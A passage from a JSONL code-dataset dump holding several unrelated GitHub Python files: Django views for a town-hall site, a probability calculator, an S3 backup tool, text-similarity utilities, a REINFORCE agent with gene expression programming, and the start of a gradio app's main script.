'avis': avis})\n\ndef post_show(request, id):\n posts = News.objects.all()\n docs = Doc.objects.all()\n avis = Avis.objects.all()\n news = News.objects.get(pk=id)\n albums = Album.objects.all()\n return render(request, 'post-detail.html', {'posts': posts, 'albums': albums, 'news': news, 'docs': docs, 'avis': avis})\n\ndef avis(request):\n posts = News.objects.all()\n docs = Doc.objects.all()\n avis = Avis.objects.all()\n albums = Album.objects.all()\n return render(request, 'notice-list.html', {'posts': posts, 'albums': albums, 'avis': avis, 'docs': docs})\n\ndef avis_show(request, id):\n aviss = Avis.objects.all()\n avis = Avis.objects.get(pk=id)\n docs = Doc.objects.all()\n return render(request, 'notice-detail.html', {'avis': avis, 'aviss': aviss, 'docs': docs})\n\ndef histoire(request):\n docs = Doc.objects.all()\n avis = Avis.objects.all()\n albums = Album.objects.all()\n events = Evenement.objects.all()\n return render(request, 'town-history.html', {'events': events, 'albums': albums, 'avis': avis, 'docs': docs})\n\ndef tour(request):\n docs = Doc.objects.all()\n events = Evenement.objects.all()\n avis = Avis.objects.all()\n albums = Album.objects.all()\n return render(request, 'virtual-tour.html', {'avis': avis, 'albums': albums, 'events': events, 'docs': docs})\n\ndef stats(request):\n docs = Doc.objects.all()\n avis = Avis.objects.all()\n albums = Album.objects.all()\n events = Evenement.objects.all()\n return render(request, 'statistics.html', {'events': events, 'albums': albums, 'avis': avis, 'docs': docs})\n\ndef elements(request):\n docs = Doc.objects.all()\n return render(request, 'elements.html', {'docs': docs})\n\ndef mairie(request):\n docs = Doc.objects.all()\n albums = Album.objects.all()\n return render(request, 'town-hall.html', {'albums': albums, 'docs': docs})\n\ndef recherche(request):\n docs = Doc.objects.all()\n albums = Album.objects.all()\n return render(request, 'search-results.html', {'albums': albums,'docs': docs})\n\n\ndef etat_civil(request):\n docs = Doc.objects.all()\n avis = Avis.objects.all()\n events = Evenement.objects.all()\n model = Demarche\n form_class = DemarcheForm\n if request.method == \"POST\":\n if form_class.is_valid():\n form = DemarcheForm(request.POST).save()\n return redirect('/confirmation')\n\n else:\n form = DemarcheForm()\n return render(request, 'etat_civil.html', {'avis': avis, 'events': events, 'docs': docs, 'form': form, 'dataDemarche': Demarche.objects.all()})\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"Lumi1919/Communedebargny","sub_path":"Mairie/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"14225239945","text":"import copy\nimport random\n# Consider using the modules imported above.\n\nclass Hat:\n contents = None\n \n def __init__(self, **kwargs):\n self.contents = list()\n for key, value in kwargs.items():\n for i in range(value):\n self.contents.append(key)\n\n def draw(self, num_of_balls):\n if num_of_balls <= len(self.contents):\n drawn_balls = list()\n for i in range(num_of_balls):\n rand = random.randint(0, len(self.contents)-1)\n drawn_balls.append(self.contents[rand])\n del self.contents[rand]\n return drawn_balls\n else:\n return self.contents\n\n\n\ndef experiment(hat, expected_balls, num_balls_drawn, num_experiments):\n num_failed_experiments = 0\n for i in range(num_experiments):\n experiment_hat = copy.deepcopy(hat)\n drawn_balls = experiment_hat.draw(num_balls_drawn)\n actual_balls = dict()\n for ball in drawn_balls:\n actual_balls[ball] = actual_balls.get(ball, 0) + 1\n for key, value in expected_balls.items():\n if not key in actual_balls or actual_balls[key] < value:\n num_failed_experiments += 1\n break\n return (num_experiments - num_failed_experiments) / num_experiments \n\n","repo_name":"vinny-chan/Scientific-Computing-With-Python","sub_path":"Probability Calculator/prob_calculator.py","file_name":"prob_calculator.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"14635408374","text":"from __future__ import print_function\n\nimport getopt\nimport os\nimport s3\nimport signal\nimport socket\nimport sys\nimport time\n\nDATE_FMT = '%Y-%m-%d'\n\n# Need this in a global so that signal handlers can change the ratelimit.\nglobal bucket\n\ndef RetrieveDumpTree(conn):\n # The map of stored dumps is complicated:\n # hostname ember\n # |-- filesystem /usr\n # | |-- level 0\n # | | |-- date 2006-10-10: size 12345\n # | | |-- date 2006-10-04: size 67890\n # | | +-- ...\n # | |-- level 1\n # | +-- ...\n # |-- filesystem /home\n # +-- ...\n dumps = { }\n for e in conn.list_bucket():\n try:\n host, fs, level, date = e.key.split(':')\n except ValueError:\n sys.stderr.write('warning: found weird key named %s\\n' % e.key)\n continue\n dumps.setdefault(host, {}).setdefault(fs, {}).setdefault(level, {})\\\n .setdefault(date, 0)\n dumps[host][fs][level][date] += e.size\n\n return dumps\n\n\ndef PrintDumpTable(bucket):\n dumpsizes = {}\n othersizes = {}\n total_bytes = 0\n for e in bucket.list_bucket():\n try:\n host, fs, level, date = e.key.split(':')\n t = (host, fs, level, date)\n dumpsizes.setdefault(t, 0)\n dumpsizes[t] += e.size\n total_bytes += e.size\n except ValueError:\n othersizes.setdefault(e.key, 0)\n othersizes[e.key] += e.size\n total_bytes += e.size\n\n # flatten the dicts of (host,fs,level,date) => size to a 2d array\n if dumpsizes:\n rows = [ tuple([h, f, l, d, HumanizeBytes(s)])\n for (h, f, l, d), s in list(dumpsizes.items()) ]\n rows.sort()\n rows.insert(0, ('-- host', 'filesystem', 'level', 'date', 'size'))\n if othersizes: print('-- Dump-style objects:')\n PrintTable(rows, sys.stdout)\n if othersizes:\n rows = [ tuple([k, HumanizeBytes(v)])\n for k, v in list(othersizes.items()) ]\n rows.sort()\n rows.insert(0, ('-- key', 'size'))\n if dumpsizes: print('-- Other objects:')\n PrintTable(rows, sys.stdout)\n\n return total_bytes\n\n\ndef PrintTable(array, stream):\n \"\"\"given a 2d array (list of tuples), figure out column widths and\n printf a corny hacky ascii table. A column is right-justified iff all\n of its values start with a digit.\"\"\"\n col_widths = [0] * len(array[0])\n numeric = [True] * len(array[0])\n for rownum, row in enumerate(array):\n for i, val in enumerate(row):\n if len(str(val)) > col_widths[i]:\n col_widths[i] = len(str(val))\n if rownum > 0 and not str(val)[0] in '0123456789':\n numeric[i] = False\n fmt_specs = ['%' + {True: '', False: '-'}[numeric[i]]\n + str(col_widths[i]) + 's' for i in range(len(array[0]))]\n fmt_str = ' '.join(fmt_specs) + '\\n'\n hrule = '-' * ( sum(col_widths) + len(col_widths) - 1) + '\\n'\n stream.write(fmt_str % array[0])\n stream.write(hrule)\n for row in array[1:]: stream.write(fmt_str % row)\n stream.write(hrule)\n\n\ndef HumanizeBytes(b):\n \"Convert 2220934 to 2.2M, etc.\"\n units = ((40, 'T'), (30, 'G'), (20, 'M'), (10, 'k'))\n for u in units:\n if b > 2 ** u[0]: return '%.1f%s' % (float(b) / 2 ** u[0], u[1])\n return str(b)\n\n\ndef DehumanizeBytes(s):\n units = ((40, 'T'), (30, 'G'), (20, 'M'), (10, 'K')) # NB K not k\n for bits, u in units:\n if s.upper().endswith(u):\n return int(s[:-1]) * (2 ** bits)\n else:\n return int(s)\n\n\ndef ChangeRatelimit(signum, _):\n # we don't use the frame parameter; naming it _ makes pychecker ignore it.\n global bucket\n if not bucket.ratelimit:\n new_ratelimit = 256 * 1024 # 256 kB/s\n elif signum == signal.SIGUSR1:\n new_ratelimit = bucket.ratelimit / 2\n else:\n assert signum == signal.SIGUSR2\n new_ratelimit = bucket.ratelimit * 2\n if new_ratelimit > 10 * (2**20) or new_ratelimit < 1024:\n # out of the range 1kB - 10MB per second\n sys.stderr.write('s3dump: removing ratelimit\\n')\n bucket.ratelimit = None\n else:\n sys.stderr.write('s3dump: new ratelimit %ld bytes/sec\\n' % new_ratelimit)\n bucket.ratelimit = new_ratelimit\n\n\ndef usage(msg):\n sys.stderr.write('error: %s\\n' % msg)\n sys.stderr.write(__doc__)\n sys.stderr.write('\\n')\n sys.exit(1)\n\n\nif __name__ == '__main__':\n\n # parse command line\n try:\n opts, remainder = getopt.getopt(sys.argv[1:], 'aiyqh:w:L:f:k:')\n opts = dict(opts)\n\n if not remainder: raise ValueError('must supply a command word')\n cmd, remainder = remainder[0], remainder[1:]\n\n host = opts.get('-h', socket.gethostname().split('.')[0].strip())\n if ':' in host or '/' in host:\n raise ValueError('hostname cannot contain : or /')\n date = opts.get('-w', time.strftime(DATE_FMT))\n if ':' in date or '/' in date:\n raise ValueError('date cannot contain : or /')\n clean_level = int(opts.get('-c', 2))\n ratelimit = int(DehumanizeBytes(opts.get('-L', '0')))\n config_file = opts.get('-f', os.path.expanduser('~/.s3keys'))\n\n if cmd in ('dump', 'restore', 'delete', 'putacl', 'getacl'):\n if '-k' in opts:\n key_prefix = opts['-k']\n elif len(remainder) == 2:\n filesystem, level = remainder\n if ':' in filesystem + level:\n raise ValueError('colon (:) cannot appear in filesystem or level')\n key_prefix = ':'.join([host, filesystem, level, date])\n else:\n raise ValueError('must supply either -k or filesystem/level args')\n\n except (getopt.GetoptError, ValueError, IndexError) as e:\n usage(str(e))\n\n # load config\n try:\n config = s3.AWSConfig(config_file)\n except s3.AWSConfigError as e:\n sys.stderr.write('Error in config file %s: %s' % (config_file, e))\n sys.exit(1)\n\n global bucket\n bucket = s3.Bucket(config)\n bucket.ratelimit = ratelimit\n if '-i' in opts: bucket.set_storage_class(s3.STORAGE_IA)\n bucket_stdout = sys.stdout\n if '-q' in opts: bucket_stdout = None\n\n signal.signal(signal.SIGUSR1, ChangeRatelimit)\n signal.signal(signal.SIGUSR2, ChangeRatelimit)\n\n if cmd == 'init' or cmd == 'initialize':\n # initialize dumps bucket\n print('Creating bucket %s' % config.bucket_name)\n print(bucket.create_bucket().reason)\n print('Testing ability to write, read, and delete:')\n print(bucket.put('testkey', s3.S3Object('this is a test')).reason)\n print(bucket.get('testkey').reason)\n print(bucket.delete('testkey').reason)\n\n elif cmd == 'delete':\n try:\n if bucket.list_bucket(key_prefix + '/'):\n s3.DeleteChunkedFile(bucket, key_prefix,\n stdout=bucket_stdout, stderr=sys.stderr)\n else:\n bucket.delete(key_prefix)\n except s3.Error as e:\n sys.stderr.write(e.message + '\\n')\n sys.exit(1)\n\n elif cmd == 'dump':\n try:\n # per python3 documentation, you now have to read from\n # sys.stdin.buffer if you don't want it to be implicitly a \"text\n # type\" stream. This is all so much more intuitive now.\n bucket.put_streaming(key_prefix, sys.stdin.buffer,\n stdout=bucket_stdout, stderr=sys.stderr)\n except s3.Error as e:\n sys.stderr.write(e.message + '\\n')\n sys.exit(1)\n \n elif cmd == 'clean':\n if not '-y' in opts:\n print('NOT DELETING ANYTHING -- add -y switch to delete for real.')\n\n try:\n nkeep = int(remainder[0])\n except:\n usage('must specify number of dumps to keep, such as \"clean 2\"')\n\n dumps = RetrieveDumpTree(bucket)\n for h in list(dumps.keys()):\n if host == h or '-a' in opts:\n for fs in dumps[h]:\n for level in dumps[h][fs]:\n dates = list(dumps[h][fs][level].keys())\n dates.sort()\n for d in dates[:0 - int(remainder[0])]:\n key = ':'.join([h, fs, level, d])\n if not '-q' in opts:\n print('deleting %s' % key)\n if '-y' in opts:\n if s3.IsChunkedFile(bucket, key):\n s3.DeleteChunkedFile(bucket, ':'.join([h, fs, level, d]))\n else:\n bucket.delete(key)\n \n elif cmd == 'list':\n print('-- Listing contents of %s' % config.bucket_name)\n try:\n total = PrintDumpTable(bucket)\n except s3.AWSHttpError as e:\n sys.stderr.write(e.message + '\\n')\n sys.exit(1)\n print('-- Total data stored: %s ($%.2f/month)' % \\\n (HumanizeBytes(total), total / (2**30) * 0.023))\n\n elif cmd == 'restore' or cmd == 'retrieve':\n if '-w' in opts or '-k' in opts:\n key = key_prefix\n else:\n # find the last dump\n key_prefix = '%s:%s:%s:' % (host, filesystem, level)\n objs = bucket.list_bucket(key_prefix)\n if not objs:\n sys.stderr.write('no objects found at prefix %s\\n' % key_prefix)\n sys.exit(1)\n key = objs[-1].key\n\n # in this case we have the bucket send status messages to stderr,\n # because stdout is where the data goes.\n if not '-q' in opts: bucket_stdout = sys.stderr\n\n try:\n bucket.get_streaming(key, sys.stdout.buffer,\n stdout=bucket_stdout, stderr=sys.stderr)\n except s3.Error as e:\n sys.stderr.write(e.message + '\\n')\n sys.exit(1)\n\n elif cmd == 'getacl':\n print(bucket.get_acl(key_prefix).data)\n\n elif cmd == 'putacl':\n #acl = sys.stdin.read()\n r = bucket.put_acl(key_prefix, s3.S3Object(sys.stdin.read()))\n print('%s (%s)' % (r.status, r.reason))\n\n else:\n usage('unrecognized command word: %s' % cmd)\n\n sys.exit(0)\n","repo_name":"mdickers47/s3dump","sub_path":"s3dump.py","file_name":"s3dump.py","file_ext":"py","file_size_in_byte":9364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"42014696339","text":"import re\nimport codecs\nimport pickle\nimport torch\nimport numpy as np\nimport random\n\n\nseed_num = 666\nunkkey = \"\"\npaddingkey = \"\"\ncpu_device = \"cpu\"\n\n\ndef create_embedding(src_vocab, config):\n embedding_dim = 0\n embedding_num = 0\n find_count = 0\n embedding = np.zeros((src_vocab.getsize, 1), dtype='float64')\n with open(config.embedding_file, encoding='utf-8') as f:\n for vec in f.readlines():\n vec = vec.strip()\n vec = vec.split()\n if embedding_num == 0:\n embedding_dim = len(vec) - 1\n embedding = np.zeros((src_vocab.getsize, embedding_dim), dtype='float64')\n if vec[0] in src_vocab.i2w:\n find_count += 1\n vector = np.array(vec[1:], dtype='float64')\n embedding[src_vocab.word2id(vec[0])] = vector\n embedding[src_vocab.UNK] += vector\n embedding_num += 1\n not_find = src_vocab.getsize - find_count\n oov_ration = float(not_find / src_vocab.getsize)\n embedding[src_vocab.UNK] = embedding[src_vocab.UNK] / find_count\n embedding = embedding / np.std(embedding)\n embedding = torch.from_numpy(embedding).float()\n print('Total word:', str(embedding_num))\n print('The dim of pre_embedding:' + str(embedding_dim) + '\\n')\n print('oov ratio is: {:.4f}'.format(oov_ration))\n return embedding\n\n\ndef torch_max(output):\n \"\"\"\n :param output: batch * seq_len * label_num\n :return:\n \"\"\"\n _, arg_max = torch.max(output, dim=2)\n label = arg_max.view(arg_max.size(0) * arg_max.size(1)).cpu().tolist()\n return label\n\n\ndef print_common():\n print(\"unkkey\", unkkey)\n print(\"paddingkey\", paddingkey)\n print(\"seed_num\", seed_num)\n\n\ndef stop_word(file):\n words = []\n with open(file, encoding=\"GBK\") as f:\n for word in f.readlines():\n words.append(word.strip())\n return words\n\n\ndef clear_data(data, stop_words):\n if isinstance(data, list):\n for word in data[:]:\n if word in stop_words:\n data.remove(word)\n else:\n word.strip().lower()\n return data\n\n\ndef read_pkl(pkl):\n file_pkl = codecs.open(pkl, 'rb')\n return pickle.load(file_pkl)\n\n\ndef random_seed(hope):\n # This is the seed of hope.\n torch.manual_seed(hope)\n torch.cuda.manual_seed(hope)\n np.random.seed(hope)\n random.seed(hope)\n\n\ndef decay_learning_rate(config, optimizer, epoch):\n lr = config.lr / (1 + config.lr_rate_decay * epoch)\n if lr < config.min_lr:\n lr = config.min_lr\n for param_group in optimizer.param_groups:\n param_group['lr'] = lr\n return optimizer\n\n\ndef correct_num(logit, target, accusation_num):\n correct = 0\n a = torch.max(logit, 1)[1].view(-1, accusation_num)\n b = target.view(-1, accusation_num)\n for i in range(a.size()[0]):\n if torch.equal(a[i], b[i]):\n correct += 1\n return correct\n\n\ndef find_maxlen(batch):\n max_premise_len = 0\n max_hypothesis_len = 0\n for line in batch:\n if len(line[0]) > max_premise_len:\n max_premise_len = len(line[0])\n for hypothesis in line[1:3]:\n if len(hypothesis) > max_hypothesis_len:\n max_hypothesis_len = len(hypothesis)\n return max_premise_len, max_hypothesis_len\n\n\ndef find_char_maxlen(batch, config):\n max_premise_len = 0\n max_hypothesis_len = 0\n for one_batch in batch:\n if len(one_batch[0]) > max_premise_len:\n max_premise_len = len(one_batch[0])\n for hypothesis in one_batch[1:3]:\n if len(hypothesis) > max_hypothesis_len:\n max_hypothesis_len = len(hypothesis)\n return max_premise_len, max_hypothesis_len\n\n\ndef find_maxlennum(batch):\n max_len = 0\n sen_p_num = 0\n sen_h_num = 0\n for line in batch:\n if line[3] > max_len:\n max_len = line[3]\n for idx, sen in enumerate(line[0:3]):\n if idx == 0:\n if len(sen) > sen_p_num:\n sen_p_num = len(sen)\n else:\n if len(sen) > sen_h_num:\n sen_h_num = len(sen)\n return max_len, sen_p_num, sen_h_num\n\n\ndef split_tensor(origin, word_length, config):\n premise_len = []\n hypothesis_len = []\n batch_size = origin.size(0)\n max_len = origin.size(2)\n dim = origin.size(3)\n premise = torch.zeros((batch_size * 2, max_len, dim), dtype=torch.float)\n hypothesis = torch.zeros((batch_size * 2, max_len, dim), dtype=torch.float)\n for i in range(0, origin.size(0) * 2, 2):\n premise[i] = origin[int(i/2)][0]\n premise[i+1] = origin[int(i/2)][0]\n hypothesis[i] = origin[int(i/2)][1]\n hypothesis[i+1] = origin[int(i/2)][2]\n for j in range(0, len(word_length), 3):\n premise_len.append(word_length[j])\n premise_len.append(word_length[j])\n hypothesis_len.append(word_length[j+1])\n hypothesis_len.append(word_length[j+2])\n premise_len = sorted(premise_len, reverse=True)\n premise_len = torch.tensor(premise_len)\n hypothesis_len = torch.tensor(hypothesis_len)\n hypothesis_len = sorted(hypothesis_len, reverse=True)\n if config.use_cuda:\n premise = premise.cuda()\n hypothesis = hypothesis.cuda()\n premise_len = premise_len.cuda()\n hypothesis_len = hypothesis_len.cuda()\n return premise, hypothesis, premise_len, hypothesis_len\n\n\ndef data_split(data, n):\n end_data = []\n unit = []\n single_len = int(len(data) / n)\n for src in data:\n unit.append(src)\n if len(unit) == single_len:\n end_data.append(unit)\n unit = []\n if len(unit) > 0:\n end_data.append(unit)\n return end_data\n\n\ndef database(data, k, config):\n tra_database = []\n dev_database = []\n for i in range(len(data)):\n if i == k:\n dev_database = data[i]\n if k + 1 == config.n_fold:\n if len(data) > config.n_fold:\n for j in range(config.n_fold, len(data)):\n dev_database.extend(data[j])\n else:\n tra_database.extend(data[i])\n\n return tra_database, dev_database\n\n\n\n\n","repo_name":"Taoooo9/Cail_Text_similarity_esimtribert","sub_path":"Units/units.py","file_name":"units.py","file_ext":"py","file_size_in_byte":6216,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"32"} +{"seq_id":"44424002997","text":"import random\nfrom collections import deque\nfrom functools import partial\n\nimport numpy as np\nimport torch\nimport torch.optim as optim\nfrom deap.base import Fitness\nfrom deap.tools import HallOfFame, selTournament\nfrom torch.distributions import Categorical\n\nimport geppy as gep\nfrom rl_algorithms.agents.Base_Agent import Base_Agent\nfrom geppy import Gene, Chromosome\nfrom geppy.algorithms.basic import _apply_modification, _apply_crossover\n\n\nclass REINFORCE(Base_Agent):\n agent_name = \"REINFORCE\"\n\n def __init__(self, config):\n Base_Agent.__init__(self, config)\n self.policy = self.create_NN(input_dim=self.state_size, output_dim=self.action_size)\n self.optimizer = optim.Adam(self.policy.parameters(), lr=self.hyperparameters[\"learning_rate\"])\n self.episode_rewards = []\n self.history_rewards = []\n self.episode_log_probabilities = []\n self.batch_size = 1\n self.history_action = set()\n self.entropy_loss = config.entropy_loss\n self.regularization_ratio = config.regularization_ratio\n self.variable_length = config.variable_length\n self.ga_probability = config.ga_probability\n self.chromosome_fusion = config.chromosome_fusion\n self.initial_ga_probability = self.ga_probability\n self.adaptive_hybrid = config.adaptive_hybrid\n self.adaptive_fun = config.adaptive_fun\n # the pop size is equivalent to 100\n self.hall_of_fame = HallOfFame(10)\n Fitness.weights = (-1,)\n genes = [Chromosome(partial(Gene, self.environment.pset, self.environment.head_length), 1) for _ in range(90)]\n for g in genes:\n g.fitness = Fitness((1e9,))\n self.pop = deque(genes)\n self.toolbox_initialization()\n self.generated_by_ga = False\n\n def toolbox_initialization(self):\n toolbox = gep.Toolbox()\n toolbox.register('mut_uniform', gep.mutate_uniform, pset=self.environment.pset, ind_pb=0.05, pb=1)\n toolbox.register('mut_invert', gep.invert, pb=0.1)\n toolbox.register('mut_is_transpose', gep.is_transpose, pb=0.1)\n toolbox.register('mut_ris_transpose', gep.ris_transpose, pb=0.1)\n toolbox.register('mut_gene_transpose', gep.gene_transpose, pb=0.1)\n toolbox.register('cx_1p', gep.crossover_one_point, pb=0.3)\n toolbox.register('cx_2p', gep.crossover_two_point, pb=0.2)\n toolbox.register('cx_gene', gep.crossover_gene, pb=0.1)\n self.toolbox = toolbox\n\n def reset_game(self):\n \"\"\"Resets the game information so we are ready to play a new episode\"\"\"\n self.state = self.environment.reset_environment()\n self.next_state = None\n self.action = None\n self.reward = None\n self.done = False\n self.total_episode_score_so_far = 0\n self.episode_rewards = []\n self.episode_log_probabilities = []\n self.episode_step_number = 0\n\n def step(self):\n \"\"\"Runs a step within a game including a learning step if required\"\"\"\n for i in range(self.batch_size):\n self.pick_and_conduct_action_and_save_log_probabilities()\n self.store_reward()\n assert len(self.episode_rewards) == 1\n\n # update HOF\n ind = self.environment.convert_action_to_gene(self.action)\n ind.fitness = Fitness((-sum(self.episode_rewards),))\n ind.ga_source = self.generated_by_ga\n self.hall_of_fame.update([ind])\n self.pop.popleft()\n self.pop.append(ind)\n\n # record source\n self.environment.source_list.append(self.generated_by_ga)\n\n self.state = self.next_state # this is to set the state for the next iteration\n if self.config.verbose:\n print('state', self.state)\n self.episode_step_number += 1\n if self.time_to_learn():\n self.actor_learn()\n self.episode_number += 1\n\n def pick_and_conduct_action_and_save_log_probabilities(self):\n \"\"\"Picks and then conducts actions. Then saves the log probabilities of the actions it conducted to be used for\n learning later\"\"\"\n if self.adaptive_hybrid:\n if self.adaptive_fun == None:\n raise Exception\n # automatically determine the ratio of GA based on historical successful rate\n counter = 0\n ga_list = []\n rl_list = []\n for x in self.pop:\n if not hasattr(x, 'ga_source'):\n break\n if x.ga_source:\n ga_list.append(x.fitness.wvalues[0])\n else:\n rl_list.append(x.fitness.wvalues[0])\n counter += 1\n if counter == 90:\n self.ga_probability = self.adaptive_fun(self.ga_probability, self.initial_ga_probability,\n np.array(ga_list), np.array(rl_list))\n # avoid deadlock (GA probability must greater than 0.05)\n self.ga_probability = max(self.ga_probability, 0.05)\n if self.config.verbose:\n print('GA probability', self.ga_probability)\n\n action, log_probabilities, all_log_distribution = self.pick_action_and_get_log_probabilities()\n if self.config.avoid_repetition:\n # resampling (avoid repetition)\n counter = 0\n while tuple(action) in self.history_action:\n if counter > 500:\n raise Exception(\"deadlock!\")\n action, log_probabilities, all_log_distribution = self.pick_action_and_get_log_probabilities()\n counter += 1\n\n self.history_action.add(tuple(action))\n self.store_log_probabilities(log_probabilities)\n if self.entropy_loss:\n self.all_log_distribution = all_log_distribution\n self.action = action\n self.conduct_action(action)\n\n def pick_action_and_get_log_probabilities(self):\n \"\"\"Picks actions and then calculates the log probabilities of the actions it picked given the policy\"\"\"\n # PyTorch only accepts mini-batches and not individual observations so we have to add\n # a \"fake\" dimension to our observation using unsqueeze\n state = torch.from_numpy(self.state).float().unsqueeze(0).to(self.device)\n action_probabilities = self.policy.forward(state).cpu()\n # action_probabilities = self.policy.forward(torch.tensor([[1.0]])).cpu()\n actions = []\n action_distributions = []\n all_log_distribution = []\n arity = self.environment.max_arity\n if random.random() >= self.ga_probability:\n # print('sampling from RL')\n self.generated_by_ga = False\n # sampling from RL\n try:\n remain_gene = 1\n for i in range(self.environment.gene_length):\n if self.variable_length:\n if remain_gene == 0:\n break\n single_action_len = self.action_size // self.environment.gene_length\n prob = torch.ones(single_action_len)\n if i < self.environment.head_length:\n # not variable length\n if not self.variable_length:\n prob[len(self.environment.pset.functions):] = 0\n else:\n prob[:len(self.environment.pset.functions)] = 0\n # TODO: RuntimeError: invalid multinomial distribution (encountering probability entry < 0)\n softmax_result = torch.mul(\n (torch.softmax(action_probabilities[0, single_action_len * i:single_action_len * (i + 1)],\n dim=0)),\n prob)\n # protected probability\n # softmax_result = torch.max(softmax_result, torch.zeros_like(softmax_result))\n # softmax_result = torch.nan_to_num_(softmax_result)\n action_distribution = Categorical(softmax_result)\n\n action = action_distribution.sample()\n\n gene_point = action.item()\n if gene_point < len(self.environment.pset.functions):\n remain_gene += 2\n remain_gene -= 1\n actions.append(gene_point)\n action_distributions.append(action_distribution.log_prob(action))\n\n if self.entropy_loss:\n if i < self.environment.head_length:\n all_log_distribution.append(action_distribution.entropy())\n else:\n all_log_distribution.append(action_distribution.entropy())\n except:\n print('softmax_result', softmax_result)\n\n if self.chromosome_fusion:\n all_log_distribution.clear()\n\n if len(actions) == 0 or self.chromosome_fusion:\n # print('sampling from GA')\n self.generated_by_ga = True\n toolbox = self.toolbox\n\n if self.chromosome_fusion and len(actions) != 0:\n ind = self.environment.convert_action_to_gene(actions)\n ind.fitness = Fitness((-sum(self.episode_rewards),))\n offspring = [ind]\n\n # mutation\n for op in toolbox.pbs:\n if op.startswith('mut'):\n offspring = _apply_modification(offspring, getattr(toolbox, op), toolbox.pbs[op])\n else:\n # sampling from GA\n offspring = selTournament(list(self.pop) + list(self.hall_of_fame), 2, tournsize=5)\n offspring = self.toolbox.clone(offspring)\n\n # mutation\n for op in toolbox.pbs:\n if op.startswith('mut'):\n offspring = _apply_modification(offspring, getattr(toolbox, op), toolbox.pbs[op])\n\n # crossover\n for op in toolbox.pbs:\n if op.startswith('cx'):\n offspring = _apply_crossover(offspring, getattr(toolbox, op), toolbox.pbs[op])\n\n actions = self.environment.convert_gene_to_action(offspring[0])\n\n for i, action in enumerate(actions):\n single_action_len = self.action_size // self.environment.gene_length\n prob = torch.ones(single_action_len)\n if i < self.environment.head_length:\n # not variable length\n if not self.variable_length:\n prob[len(self.environment.pset.functions):] = 0\n else:\n prob[:len(self.environment.pset.functions)] = 0\n softmax_result = torch.mul(\n (torch.softmax(action_probabilities[0, single_action_len * i:single_action_len * (i + 1)],\n dim=0)),\n prob)\n action_distribution = Categorical(softmax_result)\n action_distributions.append(action_distribution.log_prob(torch.tensor(action)))\n\n if self.entropy_loss:\n if i < self.environment.head_length:\n all_log_distribution.append(action_distribution.entropy())\n else:\n all_log_distribution.append(action_distribution.entropy())\n\n return actions, action_distributions, all_log_distribution\n\n def store_log_probabilities(self, log_probabilities):\n \"\"\"Stores the log probabilities of picked actions to be used for learning later\"\"\"\n for log in log_probabilities:\n self.episode_log_probabilities.append(log)\n\n def store_reward(self):\n \"\"\"Stores the reward picked\"\"\"\n self.episode_rewards.append(self.reward)\n\n def actor_learn(self):\n \"\"\"Runs a learning iteration for the policy\"\"\"\n total_discounted_reward = self.calculate_episode_discounted_reward()\n # baseline\n self.history_rewards.append(total_discounted_reward)\n # total_discounted_reward = total_discounted_reward - np.max(self.history_rewards)\n total_discounted_reward = total_discounted_reward - np.mean(self.history_rewards)\n if self.config.verbose:\n print('normalized', total_discounted_reward)\n\n policy_loss = self.calculate_policy_loss_on_episode(total_discounted_reward)\n if self.entropy_loss:\n if self.config.verbose:\n print('policy loss', policy_loss)\n for log in self.all_log_distribution:\n policy_loss -= self.regularization_ratio * torch.sum(log)\n if self.config.verbose:\n print('policy loss', policy_loss)\n self.optimizer.zero_grad()\n policy_loss.backward()\n self.optimizer.step()\n\n def calculate_episode_discounted_reward(self):\n \"\"\"Calculates the cumulative discounted return for the episode\"\"\"\n discounts = self.hyperparameters[\"discount_rate\"] ** np.arange(len(self.episode_rewards))\n total_discounted_reward = np.dot(discounts, self.episode_rewards)\n return total_discounted_reward\n\n def calculate_policy_loss_on_episode(self, total_discounted_reward):\n \"\"\"Calculates the loss from an episode\"\"\"\n policy_loss = []\n for log_prob in self.episode_log_probabilities:\n # gradient ascent, improve log probability\n # gradient descent, improve negative log probability\n policy_loss.append(-log_prob * total_discounted_reward)\n policy_loss = torch.stack(policy_loss).sum()\n # We need to add up the losses across the mini-batch to get 1 overall loss\n return policy_loss\n\n def time_to_learn(self):\n \"\"\"Tells us whether it is time for the algorithm to learn. With REINFORCE we only learn at the end of every\n episode so this just returns whether the episode is over\"\"\"\n return self.done\n","repo_name":"hengzhe-zhang/RL-GEP","sub_path":"rl_algorithms/agents/policy_gradient_agents/REINFORCE.py","file_name":"REINFORCE.py","file_ext":"py","file_size_in_byte":14087,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"32"} +{"seq_id":"73747378652","text":"import os; os.environ['no_proxy'] = '*' # 避免代理网络产生意外污染\r\n\r\ndef main():\r\n import gradio as gr\r\n if gr.__version__ not in ['3.28.3','3.32.2']: assert False, \"需要特殊依赖,请务必用 pip install -r requirements.txt 指令安装依赖,详情信息见requirements.txt\"\r\n from request_llm.bridge_all import predict\r\n from toolbox import format_io, find_free_port, on_file_uploaded, on_report_generated, get_conf, ArgsGeneralWrapper, load_chat_cookies, DummyWith\r\n # 建议您复制一个config_private.py放自己的秘密, 如API和代理网址, 避免不小心传github被别人看到\r\n proxies, WEB_PORT, LLM_MODEL, CONCURRENT_COUNT, AUTHENTICATION = get_conf('proxies', 'WEB_PORT', 'LLM_MODEL', 'CONCURRENT_COUNT', 'AUTHENTICATION')\r\n CHATBOT_HEIGHT, LAYOUT, AVAIL_LLM_MODELS, AUTO_CLEAR_TXT = get_conf('CHATBOT_HEIGHT', 'LAYOUT', 'AVAIL_LLM_MODELS', 'AUTO_CLEAR_TXT')\r\n ENABLE_AUDIO, AUTO_CLEAR_TXT, PATH_LOGGING, AVAIL_THEMES, THEME = get_conf('ENABLE_AUDIO', 'AUTO_CLEAR_TXT', 'PATH_LOGGING', 'AVAIL_THEMES', 'THEME')\r\n\r\n # 如果WEB_PORT是-1, 则随机选取WEB端口\r\n PORT = find_free_port() if WEB_PORT <= 0 else WEB_PORT\r\n from check_proxy import get_current_version\r\n from themes.theme import adjust_theme, advanced_css, theme_declaration, load_dynamic_theme\r\n\r\n initial_prompt = \"Serve me as a writing and programming 